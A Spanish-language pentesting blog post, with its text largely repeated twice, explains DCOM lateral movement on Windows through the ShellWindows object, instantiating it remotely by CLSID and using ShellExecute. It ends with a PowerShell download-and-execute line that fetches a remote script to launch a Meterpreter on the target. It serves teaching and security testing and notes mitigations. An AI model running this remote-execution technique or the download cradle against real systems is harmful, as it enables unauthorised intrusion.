Hace bastante tiempo que quería hablar sobre este tema que me parece muy interesante en lo que a técnicas de movimiento lateral se refiere. Si sigues el trabajo de investigadores como Matt Nelson, el equipo de SpecterOps, Ryan Hanson o el blog de Cybereason entenderás que se destapó una nueva Caja de Pandora. ¿Por qué? Sencillo, se conocen diferentes técnicas de movimiento lateral, las cuales son cada vez más estudiadas y se intenta mitigar el impacto de éstas en un escenario de Ethical Hacking.
En el caso de la extensión DCOM se abrió, como he dicho antes, una auténtica Caja de Pandora por la gran cantidad de escenarios de ataque que se puede dar. Y todo ello está enfocado a evaluar la seguridad y realizar ataques contra sistemas Windows, algo de lo que hemos estudiado y escrito, como podéis leer en el libro de Hacking Windows: Ataques a Sistemas y Redes Microsoft.
Existen varias técnicas que se aprovechan de los DCOM, de las cuales Matt Nelson es el autor de la mayoría de ellas, para conseguir ejecutar el movimiento lateral y ejecutar el código que más nos interese en un momento determinado. Este tipo de técnicas tienen un gran interés, ya que son más desconocidas y el efecto es el mismo que el que puede lograr un Pass the hash, un Pass the ticket, el uso de WMI, WinRM o el uso de PSExec.
En el presente artículo se quiere mostrar el potencial de los DCOM para lograr hacer movimiento lateral y una herramienta llamada DCOMrade (que veremos en el post de mañana) que ha salido para buscar esos DCOM y CLSID potencialmente vulnerables. Este tipo de herramienta puede tener un parecido con nuestro UAC-A-Mola, cada uno en su temática y evaluación de protección en Windows.
DCOM: Distributed Component Object Model
Lo primero es hablar de cómo funciona y qué es un DCOM. El objetivo está claro, poder utilizar este tipo de técnicas para lograr movernos lateralmente a otra máquina. Un DCOM es una extensión de COM, un Component Object Model, los cuales van a permitir instanciar y acceder a las propiedades y métodos de objetos COM sobre una máquina remota.
Por otro lado, debemos entender que es un CLSID, ya que se va a utilizar. Un CLSID es Class Identifier. Es un GUID, el cual va a ser único en el sistema e identificará a una clase COM. Cada clase que se registre en Windows ese asociará con un CLSID.
Otros conceptos que debemos entender son el ProgID y el AppID. El ProgID es Programmatic Identifier, el cual es utilizado como un User-Friendly al CLSID. Por ejemplo, para el CLSID XXXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXX se le puede llamar, de modo más amigable, System.AppDomainManager. El AppID es Application Identifier, el cual es utilizado para especificar la configuración de uno o N objetos COM asociados al mismo ejecutable.
Esto incluye los permisos y grupos para instanciar y acceder a las clases asociadas. Con el comando de Powershell (más vale que domines el Pentesting con Powershell si quieres meterte en el mundo del hacking de Windows) Get-CimInstance Win32_DCOMApplication que se puede ver en la Figura 3 podemos listar el nombre y el AppID asociado.
Entendiendo la técnica ShellWindows
Como he comentado anteriormente, existen diferentes técnicas que pueden ser utilizadas para lograr el objetivo, dentro del mundo DCOM. En este caso vamos a tratar la denominada ShellWindows.
Matt Nelson descubrió que cuando listaba diferentes DCOM aplicaciones aparecía MMC Application Class o MMC20.Application. Este objeto COM permite interactuar con diferentes componentes y operaciones de los Snap-In de MMC, por ejemplo, certificados, visor de eventos, etcétera. El investigador se dio cuenta que existía un método llamado ExecuteShellCommand. Lo importante será descubrir objetos que no tienen el valor LaunchPermission. Por ejemplo, si utilizamos el registro en la ruta HKCR:\AppID encontraremos una gran cantidad de CLSID.
En la Figura 4 se puede ver un CLSID y la instancia ShellWindows. Este objeto no tiene ProgID asociado, por lo que se puede utilizar el método Type.GetTypeFromCLSID y luego utilizar el Activator.CreateInstance para instanciar el objeto a través de su CLSID en un equipo remoto.
Como se puede ver en la Figura 5, se utiliza GetTypeFromCLSID para, partiendo del CLSID, instanciar el objeto en el equipo remoto. Esto ocurre cuando se ejecuta el CreateInstance. Si observamos el objeto que se obtiene se puede descubrir que podemos ejecutar a través del método ShellExecute.
En el siguiente ejemplo, se puede ver cómo se ejecuta una calculadora en la máquina remota, pero esto ya demuestra que se puede ejecutar acciones remotas, por lo que se podría ejecutar código que nos interese en la máquina remota.
Ejecutando un Meterpreter
Como ya hemos visto podemos ejecutar cualquier programa remotamente vía este método, por lo que podemos ejecutar un Meterpreter a través del uso de Powershell que es un truco Level 100 del Pentesting con Powershell y que puedes ver en uso dentro del PoC de cómo hicimos PSBot. La modificación es mínima frente a lo anterior. Dónde poníamos los parámetros del cmd.exe lo cambiaríamos por lo siguiente:
Como se puede ver es una técnica sencilla e interesante. Hay que indicar que la técnica tiene una serie de restricciones si nos encontramos ante un Windows Fortificado. Si el firewall de Windows está activo puede bloquear este tipo de tráfico, por lo que su mitigación es sencilla. Otra opción para protegerse es deshabilitar DCOM. En la segunda parte de este artículo vamos a ver la herramienta DCOMrade para sacar más partido a estas técnicas.
 |
| Figura 1: El movimiento lateral a través de DCOM [1]: Técnica Shell Windows |
En el caso de la extensión DCOM se abrió, como he dicho antes, una auténtica Caja de Pandora por la gran cantidad de escenarios de ataque que se puede dar. Y todo ello está enfocado a evaluar la seguridad y realizar ataques contra sistemas Windows, algo de lo que hemos estudiado y escrito, como podéis leer en el libro de Hacking Windows: Ataques a Sistemas y Redes Microsoft.
 |
| Figura 2: Hacking Windows. Ataques a sistemas y redes Microsoft |
Existen varias técnicas que se aprovechan de los DCOM, de las cuales Matt Nelson es el autor de la mayoría de ellas, para conseguir ejecutar el movimiento lateral y ejecutar el código que más nos interese en un momento determinado. Este tipo de técnicas tienen un gran interés, ya que son más desconocidas y el efecto es el mismo que el que puede lograr un Pass the hash, un Pass the ticket, el uso de WMI, WinRM o el uso de PSExec.
En el presente artículo se quiere mostrar el potencial de los DCOM para lograr hacer movimiento lateral y una herramienta llamada DCOMrade (que veremos en el post de mañana) que ha salido para buscar esos DCOM y CLSID potencialmente vulnerables. Este tipo de herramienta puede tener un parecido con nuestro UAC-A-Mola, cada uno en su temática y evaluación de protección en Windows.
DCOM: Distributed Component Object Model
Lo primero es hablar de cómo funciona y qué es un DCOM. El objetivo está claro, poder utilizar este tipo de técnicas para lograr movernos lateralmente a otra máquina. Un DCOM es una extensión de COM, un Component Object Model, los cuales van a permitir instanciar y acceder a las propiedades y métodos de objetos COM sobre una máquina remota.
Por otro lado, debemos entender que es un CLSID, ya que se va a utilizar. Un CLSID es Class Identifier. Es un GUID, el cual va a ser único en el sistema e identificará a una clase COM. Cada clase que se registre en Windows ese asociará con un CLSID.
Otros conceptos que debemos entender son el ProgID y el AppID. El ProgID es Programmatic Identifier, el cual es utilizado como un User-Friendly al CLSID. Por ejemplo, para el CLSID XXXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXX se le puede llamar, de modo más amigable, System.AppDomainManager. El AppID es Application Identifier, el cual es utilizado para especificar la configuración de uno o N objetos COM asociados al mismo ejecutable.
 |
| Figura 3: Comando Get-CimInstance Win32_DCOMApplication |
Esto incluye los permisos y grupos para instanciar y acceder a las clases asociadas. Con el comando de Powershell (más vale que domines el Pentesting con Powershell si quieres meterte en el mundo del hacking de Windows) Get-CimInstance Win32_DCOMApplication que se puede ver en la Figura 3 podemos listar el nombre y el AppID asociado.
Entendiendo la técnica ShellWindows
Como he comentado anteriormente, existen diferentes técnicas que pueden ser utilizadas para lograr el objetivo, dentro del mundo DCOM. En este caso vamos a tratar la denominada ShellWindows.
Matt Nelson descubrió que cuando listaba diferentes DCOM aplicaciones aparecía MMC Application Class o MMC20.Application. Este objeto COM permite interactuar con diferentes componentes y operaciones de los Snap-In de MMC, por ejemplo, certificados, visor de eventos, etcétera. El investigador se dio cuenta que existía un método llamado ExecuteShellCommand. Lo importante será descubrir objetos que no tienen el valor LaunchPermission. Por ejemplo, si utilizamos el registro en la ruta HKCR:\AppID encontraremos una gran cantidad de CLSID.
 |
| Figura 4: CLSID con instancia ShellWindows sin ProgID asociado |
En la Figura 4 se puede ver un CLSID y la instancia ShellWindows. Este objeto no tiene ProgID asociado, por lo que se puede utilizar el método Type.GetTypeFromCLSID y luego utilizar el Activator.CreateInstance para instanciar el objeto a través de su CLSID en un equipo remoto.
 |
| Figura 5: Instanciación remota de objeto |
Como se puede ver en la Figura 5, se utiliza GetTypeFromCLSID para, partiendo del CLSID, instanciar el objeto en el equipo remoto. Esto ocurre cuando se ejecuta el CreateInstance. Si observamos el objeto que se obtiene se puede descubrir que podemos ejecutar a través del método ShellExecute.
 |
| Figura 6: Ejecución vía objeto DCOM |
En el siguiente ejemplo, se puede ver cómo se ejecuta una calculadora en la máquina remota, pero esto ya demuestra que se puede ejecutar acciones remotas, por lo que se podría ejecutar código que nos interese en la máquina remota.
Ejecutando un Meterpreter
Como ya hemos visto podemos ejecutar cualquier programa remotamente vía este método, por lo que podemos ejecutar un Meterpreter a través del uso de Powershell que es un truco Level 100 del Pentesting con Powershell y que puedes ver en uso dentro del PoC de cómo hicimos PSBot. La modificación es mínima frente a lo anterior. Dónde poníamos los parámetros del cmd.exe lo cambiaríamos por lo siguiente:
c:\windows\system32\windowspowershell\v1.0\powershell.exe –C iex(new-object net.webclient).downloadstring(‘http://…’)El resultado se puede ver en el siguiente vídeo que hemos grabado para que sea más visual verlo funcionando.
Figura 7: Ejecutando Meterpreter vía ShellWindows en DCOM
Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advance Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDO de Telefónica.
No hay comentarios:
Publicar un comentario